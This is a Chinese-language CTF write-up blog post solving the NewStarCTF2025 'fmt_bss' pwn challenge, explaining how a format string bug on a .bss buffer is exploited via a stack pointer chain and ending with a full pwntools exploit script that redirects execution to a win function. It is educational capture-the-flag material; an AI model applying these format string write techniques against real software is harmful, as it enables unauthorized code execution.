fmt_bss

加餐~

今天依旧是一道格式化字符串漏洞的题目,题目出自NewStarCTF2025的week5pwn

题目给的提示->

hint:对于常规的栈上格式化字符串漏洞,可以任意构造自己的恶意数据来实现任意地址写,但是对于非栈上变量来说,就无法直接给出目的地址的指针,此时就需要留意栈上残留的内容,看看能不能找到可以利用的点(善用你的gdb)…

先来看看题目逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
undefined8 main(void)
{
int iVar1;

setup();
puts(&DAT_00102048);
puts(&DAT_001020c0);
do {
memset(global_buffer,0,0x100);
puts(&DAT_0010210d); #一段嘲讽你的话
read(0,global_buffer,0xff);
printf(global_buffer); #xswlhhh
iVar1 = strcmp(global_buffer,"end\n");
} while (iVar1 != 0);
puts(&DAT_0010211a);
return 0;
}

存在后门函数win

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void win(void)
{
FILE *__stream;
long in_FS_OFFSET;
char local_58 [72];
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
__stream = fopen("/flag","r");
if (__stream == (FILE *)0x0) {
/* WARNING: Subroutine does not return */
exit(1);
}
fgets(local_58,0x40,__stream);
printf(&DAT_00102010,local_58);
fclose(__stream);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}

明显存在格式化字符串漏洞,但是对比bss_got的不同之处在于之前我们输入形如AAAA.%p.%p.%p.%p可以看到A写在哪里以实现任意地址写,这次是bss段上的fmt,因此并没有那么容易任意写,我们看看有哪些可以利用的地方,比如,栈上残留的某个指针?

stack

经过敏锐的观察,不难发现,第6个地址0x7fffffffdda0与第26个地址0x7fffffffde00在栈上存在着某种关系…

0x7fffffffdda0 —▸ 0x7fffffffde00 ◂— 0

怎么理解呢,二者也就是指针的关系

0x7fffffffdda0是一个栈地址,存储着值0x7fffffffde00(即指向这个地址的指针)

0x7fffffffde00是另一个栈地址,这里存储着0

那么就有思路了,我们用逐字节写的方式修改0x7fffffffdda0处的指针,使其指向返回地址(rip)的位置,同理,用逐字节写的方式修改0x7fffffffde00处的值为win函数所在的地址

可能略微有点抽象,但结果就是,返回地址(rip)变为了0x7fffffffdda0,而这又是一个指向0x7fffffffde00的指针,而0x7fffffffde00处的值已经被我们改写为了win,从而获得了flag

真是精妙绝伦啊~

还有一点需要注意的是,程序是pie enabled(区别于ASLR),但是也很明显,可以通过泄露的第一个地址0x555555558060获得pie基址

vmmap

使用vmmap可以看到pie_base = p1 - 0x4060

那么win = pie_base + win偏移

接下来就来展示一下exp吧…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *

context.arch = 'amd64'
os = 'linux'

p = remote('host',port)

p.recvuntil(b'!\n')

p.recvuntil(b'!\n')
p.sendline(b'%p')
p_base = int(p.recvline(keepends=False), 16) - 0x004060 #不保留换行符
log.success(f'p_base -> {hex(p_base)}')

p.recvuntil(b'!\n')
p.sendline(b'%p %p %p %p %p %p')
rip = int(p.recvline(keepends=False).decode().split(' ')[-1], 16) - 0x98 #计算rip,由图可知rip = p6 - 0x98
log.success(f'rip -> {hex(rip)}')

win = p_base + 0x001289 #objdump -d ./bss_fmt | grep "win"
log.success(f'win -> {hex(win)}')

p.recvuntil(b'!\n')
p.sendline(f'%{rip%(256*256)}c%6$hn'.encode()) #改为rip

p.recvuntil(b'!\n')
p.sendline(f'%{win%256}c%26$hhn'.encode()) #重复逐字节写...
win //= 256

p.recvuntil(b'!\n')
p.sendline(f'%{rip%256+1}c%6$hhn'.encode())

p.recvuntil(b'!\n')
p.sendline(f'%{win%256}c%26$hhn'.encode())
win //= 256

p.recvuntil(b'!\n')
p.sendline(f'%{rip%256+2}c%6$hhn'.encode())

p.recvuntil(b'!\n')
p.sendline(f'%{win%256}c%26$hhn'.encode())
win //= 256

p.recvuntil(b'!\n')
p.sendline(f'%{rip%256+3}c%6$hhn'.encode())

p.recvuntil(b'!\n')
p.sendline(f'%{win%256}c%26$hhn'.encode())
win //= 256

p.recvuntil(b'!\n')
p.sendline(f'%{rip%256+4}c%6$hhn'.encode())

p.recvuntil(b'!\n')
p.sendline(f'%{win%256}c%26$hhn'.encode())
win //= 256

p.recvuntil(b'!\n')
p.sendline(f'%{rip%256+5}c%6$hhn'.encode())

p.recvuntil(b'!\n')
p.sendline(f'%{win%256}c%26$hhn'.encode()) #计划,通!


p.interactive()

也是成功拿到flag了~

经过此题,应该能更加深刻地理解指针的本质,希望你能有所收获

感谢阅读…

天天开心…


fmt_bss
https://roxy5201314.github.io/2026/01/02/fmt-bss/
作者
roxy
发布于
2026年1月2日
更新于
2026年2月12日
许可协议